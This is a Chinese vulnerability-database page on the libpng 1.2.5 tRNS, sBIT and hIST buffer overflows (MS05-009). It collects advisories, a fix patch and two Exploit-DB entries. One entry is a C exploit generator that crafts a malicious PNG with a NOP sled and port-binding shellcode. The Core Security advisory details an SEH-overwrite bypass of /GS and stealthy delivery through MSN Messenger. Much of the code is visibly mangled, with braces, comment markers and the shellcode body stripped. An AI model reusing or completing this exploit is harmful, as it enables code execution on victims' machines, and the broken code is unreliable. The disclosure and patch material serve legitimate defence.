发布时间 :2004-11-23 00:00:00
修订时间 :2018-05-02 21:29:26

[原文]Multiple buffer overflows in libpng 1.2.5 and earlier, as used in multiple products, allow remote attackers to execute arbitrary code via malformed PNG images in which (1) the png_handle_tRNS function does not properly validate the length of transparency chunk (tRNS) data, or the (2) png_handle_sBIT or (3) png_handle_hIST functions do not perform sufficient bounds checking.

[CNNVD]Microsoft MSN Messenger PNG图片解析远程代码执行漏洞(MS05-009)(CNNVD-200411-072)

        Windows MSN Messenger是一款即时通信软件。
        Windows MSN Messenger在处理畸形PNG文件时存在问题,远程攻击者可以利用这个漏洞构建恶意PNG文件,诱使用户处理,可导致缓冲区溢出。
        Windows MSN Messenger在处理破坏或畸形的PNG文件时存在问题,目标用户被打开后可能被攻击者完全控制系统。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:microsoft:msn_messenger:6.1Microsoft msn_messenger_service 6.1
cpe:/a:microsoft:msn_messenger:6.2Microsoft msn_messenger_service 6.2
cpe:/a:microsoft:windows_media_player:9Microsoft Windows Media Player 9
cpe:/a:microsoft:windows_messenger:5.0Microsoft windows_messenger 5.0
cpe:/o:microsoft:windows_98seMicrosoft windows 98_se

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:7709libpng buffer overflow
oval:org.mitre.oval:def:594Windows Messenger 6 libpng Buffer Overflow
oval:org.mitre.oval:def:4492Adobe Acrobat Reader libpng Buffer Overflow
oval:org.mitre.oval:def:2378Multiple Buffer Overflows in libpng
oval:org.mitre.oval:def:2274Windows Messenger 5 libpng Buffer Overflow
oval:org.mitre.oval:def:11284Multiple buffer overflows in libpng 1.2.5 and earlier, as used in multiple products, allow remote attackers to execute arbitrary code via ma...
oval:gov.nist.fdcc.patch:def:11539MS05-009: Vulnerability in PNG Processing Could Allow Remote Code Execution (890261)
oval:gov.nist.USGCB.patch:def:11539MS05-009: Vulnerability in PNG Processing Could Allow Remote Code Execution (890261)

- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BUGTRAQ  20040804 [OpenPKG-SA-2004.035] OpenPKG Security Advisory (png)
(UNKNOWN)  BUGTRAQ  20050209 MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
(UNKNOWN)  BID  15495
(UNKNOWN)  XF  libpng-pnghandle-bo(16894)

- 漏洞信息

Microsoft MSN Messenger PNG图片解析远程代码执行漏洞(MS05-009)
危急 未知
2004-11-23 00:00:00 2010-04-02 00:00:00
        Windows MSN Messenger是一款即时通信软件。
        Windows MSN Messenger在处理畸形PNG文件时存在问题,远程攻击者可以利用这个漏洞构建恶意PNG文件,诱使用户处理,可导致缓冲区溢出。
        Windows MSN Messenger在处理破坏或畸形的PNG文件时存在问题,目标用户被打开后可能被攻击者完全控制系统。

- 公告与补丁

        MS05-009:Vulnerability in PNG Processing Could Allow Remote Code Execution (890261)

        Microsoft Windows Messenger version 5.0 (standalone version that can be installed on all supported operating systems)

        Microsoft MSN Messenger 6.1

        Microsoft MSN Messenger 6.2

- 漏洞信息 (389)

LibPNG Graphics Library Remote Buffer Overflow Exploit (EDBID:389)
linux remote
2004-08-11 Verified
0 infamous41md
N/A [点击下载]
 * exploit for libpng, tested on version 1.2.5 
 * infamous42md AT hotpop DOT com 
 * shouts to mitakeet (hope u patched :D) 
 * [n00b_at_localho.outernet] ./po 
 * Usage: ./po < retaddr > [ outfile ] 
 * -all u need to give is retaddr, the default file it creates is controlled by 
 * the define below, or u can pass a diff outfile name on the command line. 
 * the output is not an entire png, just enough to trigger the bug. i've also 
 * included a simple program to test with. 
 * [n00b_at_localho.outernet] netstat -ant | grep 7000 
 * [n00b_at_localho.outernet] gcc pnouch.c -Wall -o po 
 * [n00b_at_localho.outernet] gcc pngslap.c -o slapped -lz -lm lib/ 
 * [n00b_at_localho.outernet] ./po 0xbffff8b0 
 * [n00b_at_localho.outernet] ./slapped britnay_spares_pr0n.png 
 * libpng warning: Missing PLTE before tRNS 
 * libpng warning: tRNS: CRC error 
 * [n00b_at_localho.outernet] netstat -ant | grep 7000 
 * tcp 0 0* LISTEN 
#include <stdio.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <fcntl.h> 
#include <string.h> 
#include <unistd.h> 
#include <stdlib.h> 

#define OUTFILE "britnay_spares_pr0n.png" 
#define BS 0x1000 
#define ALIGN 0 
#define NOP 0x90 
#define NNOPS 100 
#define RETADDR_BYTES 300 

#define die(x) do{ perror((x)); exit(EXIT_FAILURE);}while(0) 

/* identifies a file as a png */ 
#define MAJIC_LEN sizeof(png_majic) 
u_char png_majic[] = { 0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a }; 

 * appears first, gives len/width/etc. important part is setting the color type 
 * to 0x03, byte 10 of the IHDR data. that signfies that a PALLETE chunk should 
 * be present. but we dont have one, and that is how the len check is bypassed. 
 * the chunk len includes only the data, not the len field itself, or the id, or 
 * the crc at the end. these bytes are stolen from the advisory. 
#define IHDR_LEN sizeof(png_ihdr) 
u_char png_ihdr[] = { 0x00, 0x00, 0x00, 0x0d, /* chunk len */ 
                    0x49, 0x48, 0x44, 0x52, /* chunk id */ 
                    0x00, 0x00, 0x00, 0x5b, 0x00, 0x00, 0x00, 0x45, 
                    0x08, 0x03, 0x00, 0x00, 0x01, 
                    0x65, 0x33, 0x5a, 0xd6 /* chunk crc */ 

 * this is the tRNS type chunk, this is the evil chunk that actually contains 
 * the shellcode. 
#define TRNS_LEN sizeof(png_trns_len_id) 
u_char png_trns_len_id[] = { 0x00, 0x00, 0x00, 0x00, /* chunk len filled in*/ 
                           0x74, 0x52, 0x4e, 0x53 /* chunk id */ 
                          /* begin chunk data */ 
                          /* retaddr, NOPS, shellcode, CRC will follow */ 

/* call them shell code */ 
#define SHELL_LEN strlen(sc) 
char sc[] = 



int main(int argc, char **argv) 
    int fd = 0, len = 0, x = 0, chunk_len = 0; 
    char *filename = OUTFILE; 
    u_char buf[BS]; 
    u_long retaddr = 0; 

    if(argc < 2){ 
        fprintf(stderr, "Usage: %s < retaddr > [ outfile ]\n", argv[0]); 
        return EXIT_FAILURE; 
    if(argc > 2) 
        filename = argv[2]; 

    memset(buf, 0, BS); 
    sscanf(argv[1], "%lx", &retaddr); 

    /* create buffer: 
     * png id - png ihdr - png trns - retaddr - NOPS - shell - crc(don't need) 
    memcpy(buf, png_majic, MAJIC_LEN); 
    len += MAJIC_LEN; 
    memcpy(buf+len, png_ihdr, IHDR_LEN); 
    len += IHDR_LEN; 
    memcpy(buf+len, png_trns_len_id, TRNS_LEN); 
    len += TRNS_LEN; 

    for(x = 0; x < RETADDR_BYTES-3; x += 4) 
        memcpy(buf+len+x+ALIGN, &retaddr, sizeof(retaddr)); 
    x += ALIGN; 
    len += x; 
    memset(buf+len, NOP, NNOPS); 
    len += NNOPS; 
    memcpy(buf+len, sc, SHELL_LEN); 
    len += SHELL_LEN; 

    /* length of chunk data */ 
    chunk_len = x + NNOPS + SHELL_LEN; 
    *(u_long *)(buf+MAJIC_LEN+IHDR_LEN) = htonl(chunk_len); 

    /* include the crc */ 
    len += sizeof(u_long); 

    /* create the file */ 
    if( (fd = open(filename, O_WRONLY|O_CREAT|O_EXCL, 0666)) < 0) 
    if(write(fd, buf, len) != len) 
    return 0; 

// [2004-08-11]

- 漏洞信息 (393)

LibPNG <= 1.2.5 png_jmpbuf() Local Buffer Overflow Exploit (EDBID:393)
linux local
2004-08-13 Verified
0 n/a
N/A [点击下载]
#include <stdio.h> 
#include <stdlib.h> 
#include "png.h" 

/* The png_jmpbuf() macro, used in error handling, became available in 
  * libpng version 1.0.6.   If you want to be able to run your code with older 
  * versions of libpng, you must define the macro yourself (but only if it 
  * is not already defined by libpng!). 

#ifndef png_jmpbuf 
#define png_jmpbuf(png_ptr) ((png_ptr)->jmpbuf) 
#define ERROR 1 
#define OK 0 

int read_png(char *file_name)   /* We need to open the file */ 
  png_structp png_ptr; 
  png_infop info_ptr; 
  unsigned int sig_read = 0; 
  png_uint_32 width, height; 
  int bit_depth, color_type, interlace_type; 
  FILE *fp; 

  if ((fp = fopen(file_name, "rb")) == NULL) 
      return (ERROR); 

  /* Create and initialize the png_struct with the desired error handler 
    * functions.   If you want to use the default stderr and longjump method, 
    * you can supply NULL for the last three parameters.   We also supply the 
    * the compiler header file version, so that we know if the application 
    * was compiled with a compatible version of the library.   REQUIRED 
  png_ptr = png_create_read_struct(PNG_LIBPNG_VER_STRING, 
      NULL, NULL, NULL); 

  if (png_ptr == NULL) 
      return (ERROR); 

  /* Allocate/initialize the memory for image information.   REQUIRED. */ 
  info_ptr = png_create_info_struct(png_ptr); 
  if (info_ptr == NULL) 
      png_destroy_read_struct(&png_ptr, png_infopp_NULL, png_infopp_NULL); 
      return (ERROR); 

  /* Set error handling if you are using the setjmp/longjmp method (this is 
    * the normal method of doing things with libpng).   REQUIRED unless you 
    * set up your own error handlers in the png_create_read_struct() earlier. 
  if (setjmp(png_jmpbuf(png_ptr))) 
      /* Free all of the memory associated with the png_ptr and info_ptr */ 
      png_destroy_read_struct(&png_ptr, &info_ptr, png_infopp_NULL); 
      /* If we get here, we had a problem reading the file */ 
      return (ERROR); 

  /* Set up the input control if you are using standard C streams */ 
  png_init_io(png_ptr, fp); 

  /* If we have already read some of the signature */ 
  png_set_sig_bytes(png_ptr, sig_read); 

    * If you have enough memory to read in the entire image at once, 
    * and you need to specify only transforms that can be controlled 
    * with one of the PNG_TRANSFORM_* bits (this presently excludes 
    * dithering, filling, setting background, and doing gamma 
    * adjustment), then you can read the entire image (including 
    * pixels) into the info structure with this call: 
  png_read_png(png_ptr, info_ptr, PNG_TRANSFORM_IDENTITY, png_voidp_NULL); 

  /* clean up after the read, and free any memory allocated - REQUIRED */ 
  png_destroy_read_struct(&png_ptr, &info_ptr, png_infopp_NULL); 

  /* close the file */ 

  /* that's it */ 
  return (OK); 

int main(int argc, char **argv) 

    if(argc < 2){ 
        fprintf(stderr, "Usage: %s <png>n", argv[0]); 
        return EXIT_FAILURE; 

    if(read_png(argv[1]) != OK){ 
        fprintf(stderr, "Error reading pngn"); 
        return EXIT_FAILURE; 

    return 0; 

// [2004-08-13]

- 漏洞信息 (F36117)

Core Security Technologies Advisory 2004.0819 (PacketStormID:F36117)
2005-02-23 00:00:00
Core Security Technologies,Juliano Rizzo

Core Security Technologies Advisory ID: CORE-2004-0819 - A vulnerability found in the parsing of PNG images could allow an attacker to execute arbitrary code in the chat partner's machine and gain access to the system with the privileges of the user running the MSN Messenger client program.

Core Security Technologies Advisory

               MSN Messenger PNG Image Parsing Vulnerability

Date Published: 2005-02-08

Last Update: 2005-02-08

Advisory ID: CORE-2004-0819

Bugtraq ID: None currently assigned.

CVE Name: CAN-2004-0597

Title: MSN Messenger PNG Image Parsing Vulnerability

Class: Boundary Error Condition (Stack Buffer Overflow)

Remotely Exploitable: Yes

Locally Exploitable: Yes

Advisory URL:

Vendors contacted:
- Microsoft
  2004-08-23: Notification to vendor
  2004-08-23: Notification acknowledgment received from vendor
  2005-02-08: Publication of fixes and advisories


*Vulnerability Description:*

 MSN Messenger is a fully featured Instant Messaging (IM) program,
 that allows users to exchange pictures using the PNG image format and
 display them during conversations.

 A vulnerability found in the parsing of PNG images could allow an
 attacker to execute arbitrary code in the chat partner's machine and
 gain access to the system with the privileges of the user running the
 MSN Messenger client program.

 This vulnerability can be exploited on Windows 2000 (all service
 packs) and Windows XP (all service packs) that run vulnerable
 clients of MSN Messenger.

 Due to the particular characteristics of the MSN Messenger
 communications protocol, exploitation of the vulnerability is likely
 to pass unnoticed to network Intrusion Detection Systems (IDS),
 Intrusion Prevention Systems (IPS) and firewalls that do not
 implement decoding and normalization of the MSN Messenger protocol
 encapsulated within HTTP. Furthermore, its is possible to craft
 exploit code to compromise vulnerable systems without crashing or
 disrupting the normal functioning of the MSN Messenger client
 application and thus passing unnoticed to the end-user as well.

*Vulnerable Packages:*

 The vulnerability was discovered and researched on the following

. MSN Messenger 6.1 on Windows 2000 and Windows XP
. MSN Messenger 6.2 on Windows 2000 and Windows XP

 The vendor reported the following packages as vulnerable:

. MSN Messenger 6.1
. MSN Messenger 6.2
. Windows Messenger 4.7.2009
. Windows Messenger 4.7.3000
. Windows Messenger 5.0
. Windows Media Player 9 series (CVE CAN-2004-1244)

*Solution/Vendor Information/Workaround:*

 Microsoft Security Bulletin MS05-009 provides details and fix
 packages or vulnerable applications. It can be found at:

 The vendor reported that following packages/versions are NOT

. Windows Media Player 6.4
. Windows Media Player 7.1
. Windows Media Player for Windows XP (8.0)
. Windows Media Player 9 Series for Windows XP Service Pack 2
. Windows Media Player 10
. MSN Messenger for Mac

 Additionally, mitigating actions to reduce exposure to the
 vulnerability are provided below, but note that these actions might
 not suffice to close ALL attack vectors for ALL vulnerable packages:

. MSN Messenger users should not accept unsolicited chat session
  requests from chat partners not in their contacts list.
. MSN Messenger users should disable the custom emoticons feature of
  MSN Messenger, to do so go to Tools->Options->Messages.
. Deny execution of MSN Messenger client application using ACLs or
  Host-based security controls.
. Block MSN Messenger communications at the network perimeter.
. Filter transmission of malformed PNG images using an
  application-layer proxy that supports MSN Messenger protocol.

 Disabling the "Display Picture" feature in MSN Messenger DOES NOT
 prevent exploitation.

 Core Security Technologies has made available a sample malformed
 PNG file that can be used to check if an MSN Messenger client is

 The ZIP-compressed image is available at

 After downloading it, uncompress and save it to a work folder, open
 MSN Messenger and select the image as your display picture in
 "Tools->Change Display Picture".

 Vulnerable clients will either crash or display popup dialog with the
 following text: "Your MSN Messenger client is vulnerable"


 This vulnerability was found by Juliano Rizzo from Core Security

 Chris Evans discovered previous problems related to PNG images in
 the libPNG open source library [1][2].

*Technical Description - Exploit/Concept Code:*

 This vulnerability was found in MSN Messenger 6.2.0137, all technical
 details apply to that package and version but may be applicable to
 other vulnerable versions as well.

 The MSN Messenger protocol supports transmission of several types of
 images between  users that are displayed during conversations.
 These include:

 . The display picture, which usually is a picture of the user.
 . Custom icons that are small images shown in the message line.
 . Thumbnails of images being transferred.
 . Background images.

 The image format used is PNG [3]. When a user selects a picture to be
 displayed as avatar, Messenger converts it to PNG format with a fixed
 size and encoding characteristics. When a conversation is initiated
 with a contact, the image is transmitted over the same communication
 channel used to exchange text messages.
 By sending a specially crafted PNG image an attacker can trigger a
 buffer overflow and execute arbitrary code on the chat partner's

 The PNG file format structure is based on chunks as described in [3].
 The vulnerability is present in processing intentionally malformed
 image chunks with specially crafted values for some fields in the
 IHDR and tRNS chunk types.
 The IHDR chunk has a "color type" field: a single-byte integer that
 describes the interpretation of the image data. To trigger the bug,
 the flags "color used" and "palette used" have to be set in the color
 type field, whereas the "alpha channel used" flag must not be set.
 Thus, the color type value has to be set to 0x03. There must also
 exist a tRNS chunk with enough data length (>256) to overflow a
 buffer and reach a function pointer address. A PLTE chunk could exist
 in the file, but it has to be after the tRNS chunk.

[MSN Messenger clients compiled with the /GS stack-overflow protection

 Although the MSN Messenger client is compiled with the /GS compiler
 switch that provides protection against stack-based overflows as
 described in [4], exploitation is not prevented in this case.

 The following excerpt from MSDN describes the functionality of the
 /GS switch:

 "...The /GS switch provides a "speed bump" or cookie, between the
 buffer and the return address. If an overflow writes over the return
 address, it will have to overwrite the cookie put in between it and
 the buffer, resulting in a new stack layout..."

 The protection mechanism verifies the integrity of a called
 function's return address. By building a longer buffer, data beyond
 the return address can be overwritten, including: function
 parameters, local variables and Structured Exception Handling records
 [5]. Due to the way errors are handled in the MSN Messenger client,
 an exception is raised after the overflow occurs but before any
 stack integrity verification is done. To process that exception the
 first SEH record in the exception handlers chain is used and, since
 this  is located in the stack and near the overflowed buffer, the
 most obvious method to execute arbitrary code bypassing the
 protection seems to be overwriting the function pointer contained in
 that SEH record.

 To be precise, the exception is raised when the program tries to
 check the chunk's CRC32 and the exception code is 0xE06D7363.

 The tRNS chunk to accomplish the above strategy would look like the

  |  chunk type   |space for code|(1)   SEH record    | CRC32 |
  ["tRNS" 4 bytes][256+168 bytes ][next/eip: 8 bytes]

 The chunk type and crc32 fields are not copied into the stack.

 After taking control of the execution flow, [ESP+8] points to (1), so
 a  possible structure for the fake SEH record could be:

 EB F9 ?? ?? XX XX XX XX

 Where EB F9 is the opcode for a jump to 5 bytes back, the next  two
 bytes (?? ??) can have any value and the next 4 bytes are the address
 of a "jmp [esp+8]". In this way only a small portion of the program
 stack is modified and execution of arbitrary code is obtained.

[Attack vectors]

 The vulnerability may be used to infect image files. This means that
 a valid PNG file  could be modified to exploit vulnerable programs
 and still look as a harmless picture to other applications.

 There are 4 known attack vectors to trigger the vulnerability in
 the PNG image processing code:
 - Delivery of a malformed PNG image as display picture
 - Delivery of a malformed PNG image as a thumbnail
 - Delivery of a malformed PNG image as an icon
 - Delivery of a malformed PNG image as a regular file transfer

[Detection of an attack]

 An important success factor for attacks targeting end-user
 applications is being unnoticeable by the user. Error messages,
 crashes and hangs are not desirable when attacking a server, but tend
 to be catastrophic to an attack whenever a user on the other side is
 interacting with the program being attacked.

 Some characteristics of this vulnerability and program design make
 the perpetration of stealth attacks easier. This means that it's
 possible to exploit the vulnerability, executing code while keeping
 the application running normally. There are several ways to achieve

 The basic idea is to return the execution flow to the application
 after  creating a new thread or process. In the exploitation scheme
 described above, the code executed by the attacker may act as a
 legitimate exception handler by behaving in the following manner:

 1. moves stack pointer to a lower address and saves registers.
 2. performs the desired operations, i.e. creates a new thread.
 3. reconstructs the overwritten SEH record.
 4. recover saved register values, including the stack pointer.
 5. returns a valid filter expression value (-1, 0 or 1) [5].

 Since delivery of an attack does not rely on any noticeable or
 suspicious network traffic outside of the normal behavior for the
 application's protocol, the only suitable way of detection from a
 network point of view is with the use of a proxy, IPS or firewall
 system with the capability of interpreting and normalizing the MSN
 Messenger protocol.  In lieu of a patched client, attack detection
 should be based on the identification of malformed PNG images in
 MSN Messenger protocol traffic.

 The known attack vectors can be used to deliver successful attacks
 that are unnoticeable to the end user, not disrupting the execution
 of the MSN Messenger client running on the victim's computer and
 using it as a vantage point to compromise other clients by 'infecting'
 the victim's display picture.
 In this manner the vulnerability can be used to launch  massive
 attacks using the application's underlying communications protocol as
 a delivery vector.
 Therefore, understanding the technical attributes for exploitation
 is also highly relevant to detect and prevent attacks.

[Plausible exploit implementations]

 The code to exploit a server vulnerability usually involves
 implementing a limited portion of a network protocol that are in
 general, standard and well documented. Knowledge about encodings,
 languages and file formats are also needed to exploit browser or mail
 client flaws. However, even in those cases, the implementation
 complexity is low.

 In this case, crafting the malformed PNG image file seems simple but
 delivering the image to the victim through the Messenger protocol is
 somewhat a more difficult task.

 Alternatives to implementing an entire messenger client are:

    1) using the standard client application to send the image.
    2) using an open source third party client.
    3) using a messenger protocol proxy.

 1. In order to send the image using the standard client, it must be
 previously patched and modified to accept the infected image file as
 a display picture, emoticon or any other desired image type.

 2. The difference with the previous option is that the modifications
 can be made easily.

 3. The idea behind using a proxy is to avoid modifying a client, and
 being able to synchronize the other stages of an attack, as well as
 the possibility of using the same communication channel to control
 the victim's computer.
 A messenger protocol proxy can be used both to inject malformed PNG
 images to deliver an attack, or to sanitize outgoing traffic to
 prevent exploitation of third parties system.

[Proof of Concept exploit code]

 To check if a  MSN Messenger client is vulnerable, users can
 download the PNG image provided in the following URL

 The PNG image was built to work with MSN Messenger 6.2.0137.
 Once downloaded and uncompressed, open MSN Messenger, go to
 Tools->"Change display picture..."  and select the file.

 On vulnerable clients either a message box will be  shown or
 MSN Messenger will crash.


 [1] libPNG 1.2.5 stack-based buffer overflow and other code concerns

 [2] Multiple buffer overflows in libpng 1.2.5

 [3] Portable Network Graphics (PNG) Specification and Extensions

 [4] MSDN Compiler Security Checks In Depth

 [5] Structured Exception Handling

 [6] MSN Messenger protocol - display pictures

*About Core Security Technologies*

 Core Security Technologies develops strategic security solutions for
 Fortune 1000 corporations, government agencies and military
 organizations. The company offers information security software and
 services designed to assess risk and protect and manage information
 assets. Headquartered in Boston, MA, Core Security Technologies can
 be reached at 617-399-6980 or on the Web at

 To learn more about CORE IMPACT, the first comprehensive penetration
 testing product, visit:


 The contents of this advisory are copyright (c) 2005 CORE Security
 Technologies and may be distributed freely provided that no fee is
 charged for this distribution and proper credit is given.

$Id: msn-png-advisory.txt,v 1.19 2005/02/08 19:14:02 iarce Exp $


- 漏洞信息 (F33973)

Chris Evans Security Advisory 2004.1 (PacketStormID:F33973)
2004-08-05 00:00:00
Chris Evans  

libpng version 1.2.5 is susceptible to stack-based buffer overflows and various other code concerns.

CESA-2004-001 - rev 3

libPNG 1.2.5 stack-based buffer overflow and other code concerns

Programs         : libpng users including mozilla, konqueror, various e-mail
                   clients, generally lots. Also reports that some versions of
                   IE are vulnerable to some of the problems.
Severity         : - A malicious website serving a malicious PNG file could
                     compromise the browsers of visitors.
                   - A malicious PNG could be sent via e-mail and compromise
                     the e-mail viewer of the recipient.
                   - For systems with user-providable images for "face
                     browsers", a local system compromise could be possible via
                     a malicious PNG.
CAN identifier(s): CAN-2004-0597 (the serious one), CAN-2004-0598,
CERT VU#s        : VU#388984 (the serious one), VU#236656, VU#160448,
                   VU#477512, VU#817368, VU#286464

This advisory lists code flaws discovered by inspection of the libpng-1.2.5
code. Only the first one has been examined in practice to confirm
exploitability. The other flaws certainly warrant fixing.

A patch which should plug all these issues is appended beneath the advisory.
NOTE! This patch serves as demo purposes for the flaws only. An official
v1.2.6 libpng with an official, slightly different fix will be released by
the libpng team in parallel with this advisory.

1) Remotely exploitable stack-based buffer overrun in png_handle_tRNS

If a PNG file is of the correct format, a length check on PNG data is missed
prior to filling a buffer on the stack from the PNG data. The exact flaw would
seem to be a logic error; failure to bail out of a function after a warning
condition is hit, here:

      if (!(png_ptr->mode & PNG_HAVE_PLTE))
         /* Should be an error, but we can cope with it */
         png_warning(png_ptr, "Missing PLTE before tRNS");
      else if (length > (png_uint_32)png_ptr->num_palette)
         png_warning(png_ptr, "Incorrect tRNS chunk length");
         png_crc_finish(png_ptr, length);

We can see, if the first warning condition is hit, the length check is missed
due to the use of an "else if".

A PNG crafted to trip this is available at

It crashes both mozilla and konqueror.
A scarier possibility is targetted exploitation by e-mailing a nasty PNG to
someone who uses a graphical e-mail client to decode PNGs with a vulnerable

2) Dangerous code in png_handle_sBIT (pngrutil.c) (Similar code in

Although seemingly not exploitable, there is dangerous code in this function.
It relies on checks scattered elsewhere in the code in order to not overflow
a 4-byte stack buffer. This line here should upper-bound the read onto the
stack to 4 bytes:

   png_crc_read(png_ptr, buf, truelen);

3) Possible NULL-pointer crash in png_handle_iCCP (pngrutil.c) (this flaw is
duplicated in multiple other locations).

There are lots of lines such as these in the code:

   chunkdata = (png_charp)png_malloc(png_ptr, length + 1);

Where "length" comes from the PNG. If length is set to UINT_MAX then length + 1 will equate to zero, leading to the PNG malloc routines to return NULL and
subsequent access to crash. These lengths are sometimes checked to ensure
they are smaller that INT_MAX, but it is not clear that all code paths perform
this check, i.e. png_push_read_chunk in pngpread.c does not do this check
(this is progressive reading mode as used by browsers).

4) Theoretical integer overflow in allocation in png_handle_sPLT (pngrutil.c)

This isn't likely to cause problems in practice, but there's the possibility
of an integer overflow during this allocation:

   new_palette.entries = (png_sPLT_entryp)png_malloc(
       png_ptr, new_palette.nentries * sizeof(png_sPLT_entry));

5) Integer overflow in png_read_png (pngread.c)

A PNG with excessive height may cause an integer overflow on a memory
allocation and subsequent crash allocating row pointers. This line is possibly
faulty; I can't see anywhere that enforces a maximum PNG height:

      info_ptr->row_pointers = (png_bytepp)png_malloc(png_ptr,
         info_ptr->height * sizeof(png_bytep));

6) Integer overflows during progressive reading.

There are many lines like the following, which are prone to integer overflow:

      if (png_ptr->push_length + 4 > png_ptr->buffer_size)

It is not clear how dangerous this is.

7) Other flaws.

There is broad potential for other integer overflows which I have not spotted -
the amount of integer arithmetic surrounding buffer handling is large,

CESA-2004-001 - rev 3
Chris Evans

[Advertisement: I am interested in moving into a security related field
 full-time. E-mail me to discuss.]

diff -ru libpng-1.2.5/png.h libpng-1.2.5.fix/png.h
--- libpng-1.2.5/png.h	2002-10-03 12:32:26.000000000 +0100
+++ libpng-1.2.5.fix/png.h	2004-07-13 23:18:10.000000000 +0100
@@ -835,6 +835,9 @@
 /* Maximum positive integer used in PNG is (2^31)-1 */
 #define PNG_MAX_UINT ((png_uint_32)0x7fffffffL)
+/* Constraints on width, height, (2 ^ 24) - 1*/
+#define PNG_MAX_DIMENSION 16777215
 /* These describe the color_type field in png_info. */
 /* color type masks */
diff -ru libpng-1.2.5/pngpread.c libpng-1.2.5.fix/pngpread.c
--- libpng-1.2.5/pngpread.c	2002-10-03 12:32:28.000000000 +0100
+++ libpng-1.2.5.fix/pngpread.c	2004-07-13 23:03:58.000000000 +0100
@@ -209,6 +209,8 @@
       png_push_fill_buffer(png_ptr, chunk_length, 4);
       png_ptr->push_length = png_get_uint_32(chunk_length);
+      if (png_ptr->push_length > PNG_MAX_UINT)
+         png_error(png_ptr, "Invalid chunk length.");
       png_crc_read(png_ptr, png_ptr->chunk_name, 4);
       png_ptr->mode |= PNG_HAVE_CHUNK_HEADER;
@@ -638,6 +640,8 @@
       png_push_fill_buffer(png_ptr, chunk_length, 4);
       png_ptr->push_length = png_get_uint_32(chunk_length);
+      if (png_ptr->push_length > PNG_MAX_UINT)
+         png_error(png_ptr, "Invalid chunk length.");
       png_crc_read(png_ptr, png_ptr->chunk_name, 4);
diff -ru libpng-1.2.5/pngrutil.c libpng-1.2.5.fix/pngrutil.c
--- libpng-1.2.5/pngrutil.c	2004-07-13 13:36:37.000000000 +0100
+++ libpng-1.2.5.fix/pngrutil.c	2004-07-13 23:43:02.000000000 +0100
@@ -350,7 +350,11 @@
    png_crc_finish(png_ptr, 0);
    width = png_get_uint_32(buf);
+   if (width > PNG_MAX_DIMENSION)
+      png_error(png_ptr, "Width is too large");
    height = png_get_uint_32(buf + 4);
+   if (height > PNG_MAX_DIMENSION)
+      png_error(png_ptr, "Height is too large");
    bit_depth = buf[8];
    color_type = buf[9];
    compression_type = buf[10];
@@ -675,7 +679,7 @@
       truelen = (png_size_t)png_ptr->channels;
-   if (length != truelen)
+   if (length != truelen || length > 4)
       png_warning(png_ptr, "Incorrect sBIT chunk length");
       png_crc_finish(png_ptr, length);
@@ -1244,7 +1248,8 @@
          /* Should be an error, but we can cope with it */
          png_warning(png_ptr, "Missing PLTE before tRNS");
-      else if (length > (png_uint_32)png_ptr->num_palette)
+      if (length > (png_uint_32)png_ptr->num_palette ||
+          length > PNG_MAX_PALETTE_LENGTH)
          png_warning(png_ptr, "Incorrect tRNS chunk length");
          png_crc_finish(png_ptr, length);
@@ -1400,7 +1405,7 @@
 void /* PRIVATE */
 png_handle_hIST(png_structp png_ptr, png_infop info_ptr, png_uint_32 length)
-   int num, i;
+   unsigned int num, i;
    png_uint_16 readbuf[PNG_MAX_PALETTE_LENGTH];
    png_debug(1, "in png_handle_hIST\n");
@@ -1426,8 +1431,8 @@
-   num = (int)length / 2 ;
-   if (num != png_ptr->num_palette)
+   num = length / 2 ;
+   if (num != png_ptr->num_palette || num > PNG_MAX_PALETTE_LENGTH)
       png_warning(png_ptr, "Incorrect hIST chunk length");
       png_crc_finish(png_ptr, length);
@@ -2868,6 +2873,9 @@
                png_read_data(png_ptr, chunk_length, 4);
                png_ptr->idat_size = png_get_uint_32(chunk_length);
+               if (png_ptr->idat_size > PNG_MAX_UINT)
+                  png_error(png_ptr, "Invalid chunk length.");
                png_crc_read(png_ptr, png_ptr->chunk_name, 4);
                if (png_memcmp(png_ptr->chunk_name, (png_bytep)png_IDAT, 4))

- 漏洞信息

libpng png_handle_sBIT() Local Overflow
Context Dependent Input Manipulation
Loss of Integrity Upgrade
Exploit Unknown Vendor Verified

- 漏洞描述

libpng contains an overflow condition in the handling of PNG files. The issue is due to the 'png_handle_sBIT()' function not sanitizing user-supplied input. With a specially crafted PNG file, a context-dependent attacker can cause a buffer overflow to cause a denial of service or potentially execute arbitrary code.

- 时间线

2004-08-04 Unknow
Unknow 2004-08-04

- 解决方案

Upgrade to version 1.2.6, or 1.0.16 or higher, as it has been reported to fix this vulnerability. In addition, the vendor has released a patch for some older versions.

- 相关参考

- 漏洞作者

- 漏洞信息

Microsoft MSN Messenger/Windows Messenger PNG Buffer Overflow Vulnerability
Boundary Condition Error 12506
Yes No
2005-02-08 12:00:00 2009-07-12 10:06:00
Juliano Rizzo of Core Security Technologies identified these issues in MSN and Windows Messenger.

- 受影响的程序版本

Nortel Networks Symposium Call Center Server (SCCS)
Nortel Networks Optivity Telephony Manager (OTM)
Nortel Networks Mobile Voice Client 2050
Nortel Networks IP softphone 2050
Microsoft Windows XP Tablet PC Edition SP1
Microsoft Windows XP Professional SP1
Microsoft Windows XP Media Center Edition SP1
Microsoft Windows XP Home SP1
Microsoft Windows XP 64-bit Edition Version 2003
Microsoft Windows Messenger 4.7 .3000
+ Microsoft Windows XP Home SP2
+ Microsoft Windows XP Home SP2
+ Microsoft Windows XP Media Center Edition SP2
+ Microsoft Windows XP Media Center Edition SP2
+ Microsoft Windows XP Professional SP2
+ Microsoft Windows XP Professional SP2
+ Microsoft Windows XP Tablet PC Edition SP2
+ Microsoft Windows XP Tablet PC Edition SP2
Microsoft Windows Messenger 4.7 .2009
+ Microsoft Windows XP Home SP1
+ Microsoft Windows XP Home SP1
+ Microsoft Windows XP Media Center Edition SP1
+ Microsoft Windows XP Media Center Edition SP1
+ Microsoft Windows XP Professional SP1
+ Microsoft Windows XP Professional SP1
+ Microsoft Windows XP Tablet PC Edition SP1
